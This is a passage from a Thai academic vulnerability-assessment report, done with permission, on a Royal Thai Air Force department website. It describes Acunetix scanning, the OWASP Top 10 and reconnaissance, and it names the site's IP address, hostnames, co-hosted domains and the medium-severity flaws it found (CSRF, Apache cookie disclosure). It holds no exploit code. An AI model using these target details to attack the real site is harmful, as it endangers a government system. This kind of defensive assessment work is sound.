เม่ือเราใชเ้คร่ืองมือเดียวกบัแฮ็คเกอร์ในการหาช่องโหว ่เราก็สามารถอุดช่องโหวเ่หล่านั้นไดก่้อนท่ี
แฮ็คเกอร์จะโจมตีเขา้มา ส าหรับงานวิจยัน้ีเลือกใช้โปรแกรม Acunetix Web Vulnerability Scanner 
เป็นเคร่ืองมือส าหรับตรวจหาช่องโหวข่องเวบ็ไซต ์
 2.3.1  โปรแกรม Acunetix Web Vulnerability Scanner [7] 

  เป็นเคร่ืองมือส าหรับตรวจหาช่องโหวข่องเวบ็ไซต ์ใชใ้นการตรวจสอบความปลอดภยั
ของเวบ็ไซต ์มีขั้นตอนการท างานดงัน้ี 

 ขั้นตอนที ่1 เลือก target หรือเป้าหมาย ท่ีจะสแกน  
     1.1   คลิก New > New Website Scan to start the Scan Wizard หรือ New 
Scan จากนั้นเลือกประเภทการสแกน 
     1.2   ตวัเลือกในการสแกน 

          - Scan single Website สแกนโดยใช ้URL ของเวบ็ไซต ์
      - Scan using saved crawling results สแกนดว้ยไฟลท่ี์จดัเก็บไวก่้อนหนา้น้ี  

   1.3  กด Next  ตามภาพท่ี 2.2 
 

http://www.mindphp.com/%E0%B8%84%E0%B8%B9%E0%B9%88%E0%B8%A1%E0%B8%B7%E0%B8%AD/73-%E0%B8%84%E0%B8%B7%E0%B8%AD%E0%B8%AD%E0%B8%B0%E0%B9%84%E0%B8%A3/3585-website-%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B9%84%E0%B8%8B%E0%B8%95%E0%B9%8C.html
http://www.mindphp.com/%E0%B8%84%E0%B8%B9%E0%B9%88%E0%B8%A1%E0%B8%B7%E0%B8%AD/73-%E0%B8%84%E0%B8%B7%E0%B8%AD%E0%B8%AD%E0%B8%B0%E0%B9%84%E0%B8%A3/2045-url-%E0%B8%84%E0%B8%B7%E0%B8%AD%E0%B8%AD%E0%B8%B0%E0%B9%84%E0%B8%A3.html
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ภาพท่ี 2.2  การเลือก target ท่ีจะสแกน 

 ขั้นตอนที ่2  ระบุรายละเอียดการสแกน ตั้งค่าการสแกน  
   โปรแกรม Acunetix Web Vulnerability Scanner สามารถท่ีจะสแกนโดยก าหนด

ช่วงเวลาและการก าหนดค่าการสแกนท่ีเกิดข้ึน 
    2.1   สแกนขอ้มูลส่วนตวัและตั้งค่าการสแกนแม่แบบ 
        -  Scanning Profile สแกนขอ้มูลเวบ็ไซต ์วา่จะทดสอบอะไร เช่น ทดสอบ 

SQL injection ก็เลือกท่ีขอ้มูล SQL_injection 
     -  Scan Settings template เป็นการสแกนโดยใชแ้ม่แบบ หรือสร้างแม่แบบใหม่ 
 -  Advanced Crawling Options เม่ือท าเคร่ืองหมายถูกจะแสดงตวัเลือกระดบัสูง

ตวัช่วยในการสแกน นอกจากน้ียงัสามารถก าหนดค่า Acunetix เพื่อแสดงรายช่ือไฟลท่ี์ระบุไวไ้ด ้
ตามภาพท่ี 2.3 

http://www.mindphp.com/%E0%B8%9A%E0%B8%97%E0%B9%80%E0%B8%A3%E0%B8%B5%E0%B8%A2%E0%B8%99%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C/%E0%B8%AA%E0%B8%AD%E0%B8%99-sql/3672-%E0%B8%9A%E0%B8%97%E0%B8%97%E0%B8%B5%E0%B9%881-%E0%B8%A3%E0%B8%B9%E0%B9%89%E0%B8%88%E0%B8%B1%E0%B8%81%E0%B8%81%E0%B8%B1%E0%B8%9A-sql.html
http://www.mindphp.com/%E0%B8%9A%E0%B8%97%E0%B9%80%E0%B8%A3%E0%B8%B5%E0%B8%A2%E0%B8%99%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C/%E0%B8%AA%E0%B8%AD%E0%B8%99-sql/3672-%E0%B8%9A%E0%B8%97%E0%B8%97%E0%B8%B5%E0%B9%881-%E0%B8%A3%E0%B8%B9%E0%B9%89%E0%B8%88%E0%B8%B1%E0%B8%81%E0%B8%81%E0%B8%B1%E0%B8%9A-sql.html
http://www.mindphp.com/%E0%B8%9A%E0%B8%97%E0%B8%84%E0%B8%A7%E0%B8%B2%E0%B8%A1/66-server-hosting/3778-acunetix-vulnerability-scanner.html
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ภาพท่ี 2.3  การระบุรายละเอียดท่ีจะสแกน 

  ขั้นตอนที ่3  ยนืยนัการเลือกตวัท่ีจะสแกนเพื่อหา Targets ท่ีตอ้งการลดระยะเวลาในการ 
สแกน  ตามภาพท่ี 2.4 

 

 
 

ภาพท่ี 2.4  การยนืยนัการเลือกตวัท่ีจะสแกนเพื่อหา Targets  
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 ขั้นตอนที ่4  เม่ือเลือกส่ิงท่ีจะสแกนเสร็จ  
 ขั้นตอนที ่5  กด Finish โปรแกรมจะท าการสแกนส่ิงท่ีเราเลือกไว ้ข้ึนอยูก่บัขนาดของ

เวบ็ไซตร์ายละเอียดการสแกนท่ีเลือกและการตอบสนองของเซิร์ฟเวอร์ เวลาสแกนอาจใชเ้วลาหลาย
ชัว่โมง ตามภาพท่ี 2.5 

 

 
 

ภาพท่ี 2.5  ขั้นตอนหลงัจากท่ีเลือกส่ิงท่ีจะสแกนเสร็จ 
 

 ขั้นตอนที ่6  การวเิคราะห์ผลการสแกน  
 ช่องโหว่ท่ีพบในระหว่างการสแกนของเวบ็ไซต์จะแสดงในเรียลไทม์ในโหมดการแจง้

เตือนในผลการสแกนหน้าต่างโหมด Site Structure ยงัแสดงให้เห็นรายช่ือไฟล์และโฟลเดอร์ท่ี
คน้พบ 

 6.1  การแจง้เตือนเวบ็ 
 โหมดการแจง้เตือนเวบ็ แสดงช่องโหวท่ั้งหมดท่ีสแกนพบในเวบ็ไซตเ์ป้าหมาย จะ
แบ่งการแจง้เตือนเป็น 4 ระดบั คือ        
      ระดับที่ 1  High Risk Alert Level 3 ช่องโหวแ่บ่งออกเป็นอนัตรายมากท่ีสุดซ่ึง
ท าใหส้ถานท่ีท่ีมีความเส่ียงสูงสุดส าหรับการเจาะและการโจรกรรมขอ้มูล  
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      ระดับที่  2  Medium Risk Alert Level 2 ช่องโหว่ท่ี เกิดจากการก าหนดค่ า
เซิร์ฟเวอร์และ site coding ขอ้บกพร่องท่ีอ านวยความสะดวกการหยุดชะงกัของเซิร์ฟเวอร์และการ
บุกรุก  
      ระดับที ่3  Low Risk Alert Level 1 ช่องโหวท่ี่ไดม้าจากการขาดการเขา้รหสัของ
การเขา้ชมขอ้มูลหรือ การเปิดเผยขอ้มูลเส้นทางไดเรกทอรี 
      ระดับสุดท้าย Informational Alert เป็นข้อมูลท่ีค้นพบในระหว่างการสแกน 
และถือว่าเป็น ท่ีหน้าสนใจเช่นเป็นไปได้ส าหรับการเปิดเผยข้อมูล IP address หรือ Email 
address ตามภาพท่ี 2.6 
 

 
 

ภาพท่ี 2.6  การวเิคราะห์การผลการสแกน 
 
2.4   Open Web Application Security Project (OWASP) [8] 

OWASP เป็นองค์กรหน่ึงในสหรัฐอเมริกาซ่ึงเป็นองค์กรท่ีไม่แสวงหาผลกาไรโดยมี
วตัถุประสงค์ในการเป็นองค์กรสากลท่ีเป็นศูนยร์วมในการร่วมมือจากนกัพฒันาเวบ็แอพพลิเคชัน่
ทั่วโลกในการสร้างเว็บแอพพลิเคชั่นให้มีความปลอดภยั รวมไปถึงการจดัสัมมนาและอบรม
เก่ียวกบัความปลอดภยัเว็บแอพพลิเคชั่นและเผยแพร่ความรู้เก่ียวกบัช่องโหว่ท่ีพบได้บ่อยและ
วิธีการป้องกัน โดยในปี  2013 OWASP ได้เผยแพร่เอกสาร OWASP TOP 10 2013 ท่ีอธิบาย
รายละเอียดช่องโหวท่ี่พบไดบ้่อยและมีความรุนแรง 10 อนัดบัดงัน้ี  
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 2.4.1  Injection ช่องโหว่ประเภท Injection เช่น SQL และ OS  เกิดข้ึนเม่ือมีข้อมูล ท่ีไม่
น่าเช่ือถือส่งไปยงัฐานขอ้มูลบนเว็บไซต์ ซ่ึงท าให้บุคคลท่ีไม่หวงัดีสามารถเรียกดูข้อมูลท่ีเป็น
ความลบั, ลบหรือแกไ้ขขอ้มูลในฐานขอ้มูลท่ีส าคญับนเวบ็ไซตไ์ด ้ซ่ึงบางคร้ังมีการส่ง code เพื่อไป
ท างานบนเคร่ืองแม่ข่ายของกลุ่มเป้าหมายโดยอาจน าไปสู่การโจรกรรมข้อมูลจนไปถึงการเข้า
ควบคุมเคร่ืองแม่ข่ายของกลุ่มเป้าหมายได ้ 
 2.4.2  Broken Authentication and Session Management ช่องโหวป่ระเภท การลม้เหลวในการ
ระบุตวัตนและการบริหารจดัการ session โดยผูโ้จมตีจะท าการขโมยรหสัผา่นหรือแอบดูขอ้มูล 
session บน URL ของกลุ่มเป้าหมาย และสามารถปลอมแปลงขอ้มูล Session ใหเ้ป็น Session ของ
บุคคลอ่ืนได ้
 2.4.3  Cross-Site Scripting (XSS) เป็นช่องโหวท่ี่เกิดข้ึนเม่ือแอพพลิเคชัน่มีขอ้มูลท่ีไม่น่าเช่ือถือ 
ถูกส่งผา่น web browser โดยไม่มีการตรวจสอบ ซ่ึง XSS อนุญาตใหผู้โ้จมตีฝัง JavaScript ลงใน 
เวบ็ไซตข์องกลุ่มเป้าหมายส่งผลใหเ้กิดการขโมยขอ้มูล session ของผูใ้ชง้านคนอ่ืน หรือการ 
Redirect User ไปยงัเวบ็ไซตอ่ื์นท่ีมีการฝัง Exploit ไว ้ ท าใหเ้กิดความเสียหายต่อผูใ้ชง้านเวบ็ไซต์
อยา่งรุนแรง ซ่ึงผูโ้จมตีสามารถฝัง XSS ได ้ 2 ช่องทางคือ การฝังผา่น URL, ฝังผา่น Webboard 
นัน่เอง 
 2.4.4  Insecure Direct Object References เป็นช่องโหวท่ี่มีการเขา้ถึงขอ้มูลหรือรหสัโดยตรง
เช่นการเขา้ถึงขอ้มูลหรือเอกสารท่ีเป็นความลบัของเป้าหมาย ซ่ึงผูโ้จมตีจะท าการเขา้ถึงขอ้มูลโดย
ไม่ตอ้งผา่นการตรวจสอบการเขา้ระบบหรือการป้องกนัอ่ืน ๆ และผูโ้จมตียงัสามารถเปล่ียนแปลง
รหสัในการระบุตวัตนไดอี้กดว้ย  
 2.4.5  Security Misconfiguration เป็ น ช่ องโหว่ของก ารตั้ งค่ าความปลอดภัยของ  web 
application, web server, web server software, database จะ ส่ งผ ล กั บ ค ว าม ป ล อดภั ย ข อ ง เว็บ
แอพพลิเคชั่น ซ่ึงการตั้งค่าท่ีผิดพลาดของส่วนประกอบต่าง ๆ ท่ีเก่ียวขอ้ง ตวัอย่างเช่น การลืมลบ 
default user หรือไม่ท าการอพัเดท security patch โดยผูโ้จมตีก็จะสามารถโจรกรรมขอ้มูลหรือหยุด
การท างานของเวบ็แอพพลิเคชัน่ได ้ 
 2.4.6  Sensitive Data Exposure เป็นช่องโหวท่ี่เก่ียวกบัการร่ัวโหลของขอ้มูลท่ีเก็บอยูใ่นเคร่ือง
แม่ข่ายและขอ้มูลท่ีส่งผ่านอินเทอร์เน็ตซ่ึงเวบ็แอพพลิเคชัน่หลายเว็บไม่มีการป้องส่วนประกอบ
ของข้อมูลท่ีมีความ Sensitive เช่น ข้อมูลของเครดิตการ์ด โดยผู ้โจมตีนั้ นจะสามารถขโมย, 
เปล่ียนแปลงการเข้าถึงของรหัสข้อมูลได้ หรือการใช้ weak algorithm ในการเข้ารหัส ซ่ึงท าให้
ขอ้มูลท่ีเป็นความลบัตกอยูใ่นสภาวะเส่ียงต่อการโจรกรรม  
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 2.4.7  Missing Function Level Access Control ช่องโหวน้ี่เป็นช่องโหวเ่ก่ียวกบัการให้สิทธ์ิใน
การใช้งานเวบ็แอพพลิเคชัน่ อย่างไรก็ตามเวบ็แอพพลิเคชัน่จ  าเป็นตอ้งมีการตรวจสอบการเขา้ถึง
ระบบบนเคร่ืองแม่ข่ายหากไม่มีการตรวจสอบหรือผา่นการ log in เขา้ระบบ ดว้ยสิทธ์ิ admin จะท า
ให้ก็ผูโ้จมตีหรือใครก็ตามท่ีเป็น user ของเวบ็ไซตส์ามารถเขา้ไปใชง้านฟังก์ชนัของ admin ไดโ้ดย
ไม่ตอ้งผา่นการตรวจสอบการเขา้ระบบ  
 2.4.8  Cross-Site Request Forgery (CSRF) เป็นช่องโหว่ท่ีผูโ้จมตีสามารถส่งค าสั่งไปยงักลุ่ม 
เป้าหมาย รวมทั้ งการ session cookie และท าให้มีการระบุตวัแบบอตัโนมติัโดยท่ีกลุ่มเป้าหมาย
ไม่ไดต้ั้งใจท่ีจะท า เช่น การโอนเงินของกลุ่มเป้าหมายไปยงับญัชีของผูโ้จมตี  
 2.4.9  Using Components with Known Vulnerabilities เป็ น ช่ องโห ว่ ท่ี เกิ ดจ าก เว็บ แอพ 
พลิ เคชั่นท างานร่วมกับ ส่วนประกอบ อ่ืน  ๆ  ท่ี มี ช่องโหว่ เช่น  Libraries, Framework ห รือ
ส่วนประกอบอ่ืนๆ ของ  Software ท่ีมีช่องโหว ่ 
 2.4.10  Unvalidated Redirects and Forwards เป็นช่องโหว่ท่ีผู ้โจมตีสามารถท าการ redirect 
และส่งไปยงัเพจหรือเวบ็ไซต่าง ๆ โดยจะให้กลุ่มเป้าหมายเขา้ไปยงัเพจท่ีไม่น่าเช่ือถือโดยไม่ผา่น
การตรวจสอบ ซ่ึงผูโ้จมตีสามารถร้องขอให้กลุ่มเป้าหมายติดตั้งมัลแวร์ เน่ืองจากเข้าใจว่าเป็น
เวบ็ไซตท่ี์ redirect มาจากเวบ็ไซตท่ี์น่าเช่ือถือก็อาจจะตกเป็นเหยือ่ของมลัแวร์ได ้ 
 
2.5 ข้อมูลของช่องโหว่ทีเ่กีย่วข้อง 

สารนิพนธ์ฉบบัน้ีจะเลือกศึกษาเก่ียวกบัช่องโหว่ท่ีถูกตรวจพบในเว็บไซต์ของกรม
ควบคุมการปฏิบติัทางอากาศ โดยมีรายละเอียดดงัน้ี 
 2.5.1  ช่องโหว่ประเภท Cross-Site Request Forgery (CSRF) [9] เป็นช่องโหว่ท่ีพบบ่อยถูกจดั
อยูใ่นล าดบัท่ี 8 ของการจดัล าดบัช่องโหวโ่ดย OWASP ซ่ึงเป็นช่องโหวท่ี่ผูโ้จมตีสามารถส่งค าสั่ง
ไปยงักลุ่มเป้าหมาย รวมทั้ งการ session cookie และท าให้มีการระบุตัวแบบอัตโนมัติโดยท่ี
กลุ่มเป้าหมายไม่ไดต้ั้งใจท่ีจะท า  

 2.5.2  ช่องโหว่ Apache httpOnly cookie disclosure [7] เป็นช่องโหว่ของ Apache Web 
Server ในเวอร์ชัน่ 2.2.x ถึง 2.2.21 ท่ีไม่สามารถตรวจสอบค่า HTTP Header ไดถู้กตอ้งในเร่ืองของ 
Cookie ท่ีใช้พารามิเตอร์ HTTP Only ช่องโหวด่งักล่าวน้ีท าให้ผูโ้จมตีใชว้ิธีการสร้างสคริปตข้ึ์นมา
เอง และส่งค่าร้องขอผา่นช่องโหวด่งักล่าว และขอ้มูลของ Cookie นั้นจะตอบสนองกลบัมากบัการ
โจมตี โดยท่ีไม่สนใจในเร่ืองของการเขียน code ในเวบ็แอพพลิเคชัน่ 
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 2.5.3  ช่องโหว ่Local File Disclosure [13] คือ ช่องโหวท่ี่เปิดทางให้แฮกเกอร์ดึงไฟล์อ่ืนๆ ท่ีอยู่
ในเวบ็ไซตม์ารัน หรือ อ่านไฟล์ (อาทิเช่น ไฟล์ config หรือไฟล์เก็บ password ต่างๆ) โดยมีสาเหตุ
มาจากการท่ีผูพ้ฒันาเวบ็ไซต์ไม่ค  านึงถึงความปลอดภยัในการเขียนสคริป ท าให้แฮกเกอร์สามารถ 
ดาวน์โหลดไฟลท่ี์ส าคญัท่ีอยูบ่นเคร่ืองเซิร์ฟเวอร์มาใชป้ระโยชน์ในการโจมตีเวบ็ไซตไ์ด ้
 2.5.4  ช่องโหว่ File upload [5] เป็นช่องโหว่จากการเรียกใช้ระบบการอพัโหลดไฟล์บนหน้า
เวบ็ไซตเ์ป้าหมาย โดยปกติการอพัโหลดไฟล์รูปภาพหรือไฟล์ใดๆ ข้ึนบนเวบ็ไซตจ์ะพบวา่การเก็บ
ไฟล์นั้นๆ ระบบจะเก็บไฟล์ท่ีถูกอพัโหลดไวบ้นเวบ็ไซต์ และหากระบบท่ีพฒันาในการอพัโหลด
ไฟล์ ไม่ไดมี้การตรวจสอบเน้ือหาหรือส่วนประกอบต่างๆ ของไฟล์ก่อนน าไปวางบนเคร่ืองแม่ข่าย
จริงแลว้นั้น เท่ากบัว่าผูโ้จมตีจะสามารถใช้ช่องโหวด่งักล่าวในการอพัโหลดไฟล์สคริปต์อนัตราย 
เช่น ไฟล์ shell.php  ข้ึนไปบนเว็บไซต์ ได้ทันที ส่งผลลัพธ์ให้ผูโ้จมตีสามารถรันไฟล์สคริปต์
อนัตรายบนเคร่ืองเว็บไซต์เป้าหมาย และเขา้ท าการอพัโหลดหรือปรับเปล่ียนไฟล์ของเว็บไซต์
เป้าหมายในส่วนต่างๆ ตามท่ีได้กล่าวไวต้อนต้นเก่ียวกับจุดประสงค์ของผูโ้จมตีการโจมตีใน
ลกัษณะน้ีจะเรียกว่าการโจมตีแบบ Unrestricted File Upload สามารถพบได้แพร่หลายและเป็นท่ี
นิยมในหมู่ผูโ้จมตีเน่ืองจากคน้หาช่องโหวไ่ดง่้าย 

2.6  ตัวอย่างของเวบ็ไซต์ที่มีช่องโหว่และเคยผ่านการถูกโจมตี [14]  
ท่ีผา่นมาเวบ็ไซตข์องกองทพัอากาศ ท่ีอยูภ่ายใตโ้ดเมนเนม rtaf.mi.th ถูกโจมตีจากแฮก

เกอร์ เป็นจ านวนมาก ดงัตวัอยา่งต่อไปน้ี 
(1)  เม่ือวนัท่ี 9 มิถุนายน พ.ศ.2555 เวบ็ไซตข์องกองทพัอากาศ ถูกโจมตีโดยการเปล่ียนหนา้ตา    

 ของเวบ็ไซต ์ดงัแสดงตามภาพท่ี 2.7  
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ภาพท่ี 2.7  เวบ็ไซตข์องกองทพัอากาศท่ีเคยถูกโจมตี 
 

(2) เม่ือเดือนเมษายน –  เดือนพฤษภาคม พ.ศ.2557 เวบ็ไซตข์องกรมควบคุมการปฏิบติัทาง 
อากาศและเว็บไซต์อ่ืนๆ ท่ีอยู่ภายใต้โดเมน .rtaf.mi.th ถูกโจมตีโดยการเปล่ียนหน้า
เวบ็ไซต ์ดงัแสดงตามภาพท่ี 2.8 – 2.9 
 

 
 

ภาพท่ี 2.8  เวบ็ไซตภ์ายใตโ้ดเมน .rtaf.mi.th ท่ีเคยถูกโจมตี 
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ภาพท่ี 2.9  เวบ็ไซตข์องกรมควบคุมการปฏิบติัทางอากาศเคยถูกโจมตี 
 

เว็บไซต์เหล่าน้ี เคยถูกโจมตีโดยใช้วิธี เข้าไปเปล่ียนแปลงหน้าเว็บไซต์  (Website 
Defacement) ซ่ึงในเว็บไซต์ท่ีถูกโจมตีส่วนใหญ่จะปรากฏรูปภาพหรือข้อความท่ีบ่งบอกถึงว่า
เว็บไซต์ถูกโจมตีได้ส าเร็จ ท าให้เกิดความเสียหายและท าลายความน่าเช่ือถือให้แก่หน่วยงาน 
เจา้ของเวบ็ไซต ์  

ดว้ยเหตุน้ี ผูจิ้วยัจึงได้ให้ความส าคญักบัการรักษาความมัน่คง ปลอดภยัของเว็บไซต์
กรมควบคุมการปฏิบติัทางอากาศ เพื่อป้องกนัการถูกโจมตีจากผูไ้ม่ประสงคดี์ และเป็นการป้องกนั
ไม่ให้แฮกเกอร์ใช้เวบ็ไซต์ของกรมควบคุมการปฏิบติัทางอากาศ เป็นช่องทางในการเขา้มาโจมตี
เพื่อสร้างความเสียหายใหแ้ก่เวบ็ไซตอ่ื์นๆ ของกองทพัอากาศ 
 
 
 
 
 
 



 
 

บทที ่3 
การด าเนินการตรวจหาช่องโหว่ของเวบ็ไซต์ 

 
ในการตรวจหาช่องโหว่ของเว็บไซต์ กรณีศึกษาเว็บไซต์กรมควบคุมการปฏิบติัทาง

อากาศ ผูว้ิจ ัยได้แบ่งขั้นตอนในการด าเนินการตรวจหาช่องโหว่ของเว็บไซต์ เป็น 3 ขั้นตอน 
ประกอบดว้ย 

 (1) การวางแผนและเตรียมการ(Planning and Preparation) 
 (2) การประเมินค่าของช่องโหว ่(Vulnerability Assessment) 
 (3) การท ารายงานวธีิการแกไ้ขและการป้องกนัช่องโหว ่(Report how to fix and prevent 

vulnerabilities) โดยขั้นตอนท่ี 3 รายงานวิธีการแก้ไขและการป้องกนัช่องโหว่ (Report how to fix 
and prevent vulnerabilities) จะขอกล่าวในบทท่ี 4 ขั้นตอนในการด าเนินการตรวจหาช่องโหวแ่สดง
ตามภาพท่ี 3.1 

 

 
ภาพท่ี 3.1  ขั้นตอนในการด าเนินการตรวจหาช่องโหวข่องเวบ็ไซต ์
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3.1  การวางแผนและเตรียมการ (Planning and Preparation) 
 การวางแผนและเตรียมการ ผูว้ิจยัไดก้  าหนดขอบเขตของเป้าหมายในการหาช่องโหว่

ของเว็บไซต์กรมควบคุมการปฏิบัติทางอากาศ เป็นการหาช่องโหว่ของ Web Application ท่ี
ให้บริการท่ีพอร์ต 80 โดยมีขั้นตอนการวางแผนและเตรียมการในการหาช่องโหว่ของเว็บไซต ์
ประกอบไปดว้ย 4 ขั้นตอน ดงัแสดงตามภาพท่ี 3.2  
 
 
 
 
 
 

 
 

ภาพท่ี 3.2  ขั้นตอนการวางแผนและเตรียมการ 
 

ผูว้ิจยัไดท้  าการติดต่อไปยงัหน่วยงานเจา้ของเวบ็ไซตก์รมควบคุมการปฏิบติัทางอากาศ 
เพื่อท าหนังสืออนุญาตท าการทดสอบเจาะระบบ โดยก าหนดขอบเขตเวลา ระหว่างวนัท่ี 16 
พฤศจิกายน พ.ศ.2559 ถึงวนัท่ี 31 พฤษภาคม พ.ศ.2560 โดยจะทดสอบในช่วงเวลา 18.00 น. ถึง 
24.00 น.เพื่อหลีกเล่ียงช่วงเวลาท่ีเวบ็ไซต์มีผูใ้ช้งานคบัคัง่ และมีมิติของการทดสอบในแง่ของการ
ทดสอบหาช่องโหว่ระบบโดยใช้เคร่ืองมือส าเร็จรูปในการทดสอบ คือโปรแกรม Acunetix Web 
Vulnerability Scanner ซ่ึงทางผูจ้ดัท าจะท าการเก็บขอ้มูลท่ีไดร้ะหวา่งการทดสอบเป็นความลบั และ
ส่งรายละเอียดท่ีไดรั้บหลงัจากการทดสอบ กลบัไปใหห้น่วยงานภายใตช้ั้นความลบัท่ีเหมาะสม 
 
3.2  การประเมินค่าของช่องโหว่ (Vulnerability Assessment) 

ในขั้นตอนน้ีเป็นการตรวจหาช่องโหว่และน าช่องโหว่ท่ีตรวจพบมาท าการวิเคราะห์
และประเมินความเส่ียง โดยการตรวจหาช่องโหว่น้ีจะใช้วิธีการทดสอบเพื่อเลียนแบบขั้นตอนจาก
การโจมตีของแฮกเกอร์ โดยวตัถุประสงคข์องขั้นตอนน้ีจะท าการทดสอบเพื่อหาวา่เวบ็ไซตน้ี์มีช่อง
โหวห่รือไม่ และช่องโหวท่ี่ตรวจพบเป็นช่องโหวป่ระเภทใด เพื่อน าช่องโหวท่ี่ไดไ้ปวิเคราะห์เพื่อ

เตรียมการ 
-  ท าหนงัสือขออนุญาต   
     หน่วยงานเจา้ของ  
    เวบ็ไซต ์
-  จดัเตรียมเคร่ืองมือ  
   และส่ิงแวดลอ้มท่ีใช ้  
   ในการทดสอบ 

ตรวจหาช่องโหว่ 
- ใชเ้คร่ืองมือ  
    ส าเร็จรูป 
- ทดสอบเจาะระบบ   
  โดยผูท้  าการวจิยั 

 

 

 

 

 

 

 

 

วเิคราะห์ช่องโหว่ 

วเิคราะห์ความ
รุนแรงของ 
ช่องโหวแ่ละ
ประเมินความเส่ียง     

ท ารายงาน 
- รายงานช่องโหว ่
   ท่ีตรวจพบ พร้อม    
   วธีิการแกไ้ขและ 
    แนวทางการ 
    ป้องกนั     
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หาแนวทางการแกไ้ขต่อไป โดยในขั้นตอนการตรวจหาช่องโหว่น้ีจะเลือกท าเฉพาะขั้นตอนท่ีไม่
ก่อให้เกิดความเสียหายใด ๆ ต่อเวบ็ไซต์และเวบ็เซิร์ฟเวอร์ เน่ืองจากเป็นการตรวจหาช่องโหวจ่าก
ระบบท่ีเปิดใหบ้ริการอยูจ่ริง ซ่ึงผูว้ิจยัไดแ้บ่งขั้นตอนท่ีน ามาใชใ้นการตรวจหาช่องโหวข่องงานวจิยั
น้ี ออกเป็น 3 ขั้นตอน ประกอบด้วยขั้นตอนการรวบรวมขอ้มูลของเวบ็ไซต์ ขั้นตอนการตรวจหา
ช่องโหว ่ขั้นตอนการเขา้ถึงช่องโหวท่ี่ตรวจพบ โดยขั้นตอนดงักล่าวแสดงตามภาพท่ี 3.3  

 

 
 
ภาพท่ี 3.3  ขั้นตอนการตรวจหาช่องโหวข่องเวบ็ไซต ์
 
  3.2.1  ขั้นตอนการส ารวจข้อมูล (Reconnaissance) 
   เป็นขั้นตอนในการหาขอ้มูลท่ีเก่ียวขอ้งกบัเวบ็ไซต ์เพื่อน าขอ้มูลท่ีไดน้ าไปวิเคราะห์หา
วิธีการเขา้ถึงช่องโหว่ของเวบ็ไซต์ต่อไป โดยขอ้มูลท่ีผูว้ิจยัตอ้งการเพื่อน าไปใช้ประโยชน์ในการ
ตรวจหาช่องโหว ่มีขั้นตอนการหาขอ้มูลดงัน้ี 

(1)  การท า nslookup  
        ผู ว้ ิจยัได ้ท าการตรวจสอบขอ้มูลของเว ็บไซต์ด ้วยค าสั่ง nslookup เป็นค าสั่ง  
ท่ีใช้ในการตรวจสอบโดเมนเนม (Domain Name) ด้วยโปรแกรมคอมมานพรอมพ์ (Command 
prompt)  เพื่อหาข้อมูลโดเมนเนม (Domain Name) ของเว็บไซต์น้ี  พบว่า Domain Name ของ
เว็บไซต์น้ีมีไอพีแอดเดรสเป็น 119.46.201.123 , มีช่ือเว็บไซต์จริงคือ www83.rtaf.mi.th และมี
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นามแฝงคือ www.daoc.rtaf.mi.ht, daoc.rtaf.mi.th ท าให้ทราบข้อมูลท่ีจะน าไปใช้ในขั้นตอนของ
การสแกนหาช่องโหวต่่อไป รายละเอียดขอ้มูลท่ีพบจากการใชค้  าสั่ง nslooup แสดงตามภาพท่ี 3.4 

 
 

ภาพท่ี 3.4  ผลลพัธ์ของการตรวจสอบขอ้มูลของเวบ็ไซตด์ว้ยค าสั่ง nslookup  
 

(2) การท า Reverse IP Domain Check 
        เป็นการหาขอ้มูลของเวบ็ไซต์ท่ีอยู่ในโดเมนเดียวกนั โดยใช้เคร่ืองมือของเวบ็ไซต์
www.yougetsignal.com ซ่ึงเป็นเวบ็ไซตท่ี์แฮกเกอร์นิยมใชใ้นการหาขอ้มูลเก่ียวกบัเป้าหมาย พบวา่
โดเมนเนมของเวบ็ไซต ์www.daoc.rtaf.mi.th มีโดเมนเนมอ่ืน ๆ ท่ีอยูใ่นไอพีเดียวกนั จ านวนทั้งส้ิน 
12 โดเมน จากขอ้มูลท่ีไดรั้บ พบวา่หากผูไ้ม่ประสงคดี์หรือแฮกเกอร์สามารถโจมตีเวบ็ไซตข์องกรม
ควบคุมการปฏิบติัทางอากาศได ้ก็สามารถสร้างความเสียหายหรือท าลายเวบ็ไซตอ่ื์น ๆ ท่ีอยูบ่นไอพี
เดียวกนัให้เกิดความเสียหายได้ รายละเอียดข้อมูลท่ีได้รับจากการท า Reverse IP Domain Check 
แสดงตามภาพท่ี 3.5 
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ภาพท่ี 3.5  ผลลพัธ์การท า Reverse IP Domain Check 
 
 3.2.2 ขั้นตอนการสแกนหาช่องโหว่ (Vulnerability Scanning) 
   สารนิพนธ์น้ีเลือกวิธีการสแกนหาช่องโหว่ของเวบ็ไซต์ (www.daoc.rtaf.mi.th) โดยใช้
โปรแกรม Acunetix Web Vulnerability Scanner ซ่ึงเป็นโปรแกรมส าเร็จรูปท่ีแฮกเกอร์และผูดู้แล
ระบบนิยมใชใ้นการสแกนหาช่องโหวข่องเวบ็ไซต ์โดยมีรายละเอียดของสภาพแวดลอ้มดงัแสดง
ในภาพท่ี 3.6  

 
 
 

ภาพท่ี 3.6  โครงสร้างสภาพแวดลอ้ม 
 
  3.2.2.1 ขั้ นตอนการรวบรวมข้อมูลโดยใช้ เค ร่ืองมือ Acunetix Web Vulnerability 
Scanner โดยผลลพัธ์ท่ี ไดแ้สดงในภาพท่ี 3.7  
 

-   Acunetix Web Vulnerability Scanner 
-   Manual 
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ภาพท่ี 3.7  ขอ้มูลของช่องโหวท่ี่ตรวจพบ 
 

   ข้อมูลท่ีได้จากการสแกน โดยใช้เคร่ืองมือ Acunetix Web Vulnerability Scanner 
มีรายละเอียดดงัน้ี 

   พบช่องโหวท่ี่มีความรุนแรงระดบัปานกลาง (Medium) มี 2 ประเภท คือ  
  •  Apache httpOnly cookie disclosure ช่องโหว่ประเภทน้ีคือ เม่ือมีการใส่ค่าท่ีไม่ถูกตอ้งลง

ไปในช่อง URL เว็บเซิร์ฟเวอร์จะส่ง Bad Request กลบัมา ท าให้แฮกเกอร์สามารถน าข้อมูลจาก 
Bad Request ไปใชป้ระโยชน์ได ้ซ่ึงท าให้แฮกเกอร์รู้วา่ Request ท่ีส่งไปมีขอ้ผิดพลาดตรงไหนบา้ง 
รายละเอียดของช่องโหวท่ี่ตรวจพบ แสดงในภาพท่ี 3.8 
 

 
 

ภาพท่ี 3.8  ขอ้มูลรายละเอียดของช่องโหวป่ระเภท Apache httpOnly cookie disclosure 
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  • Cross Site Request Forgery (CSRF) ช่องโหว่ประเภทน้ี เป็นช่องโหว่ท่ีผู ้โจมตี
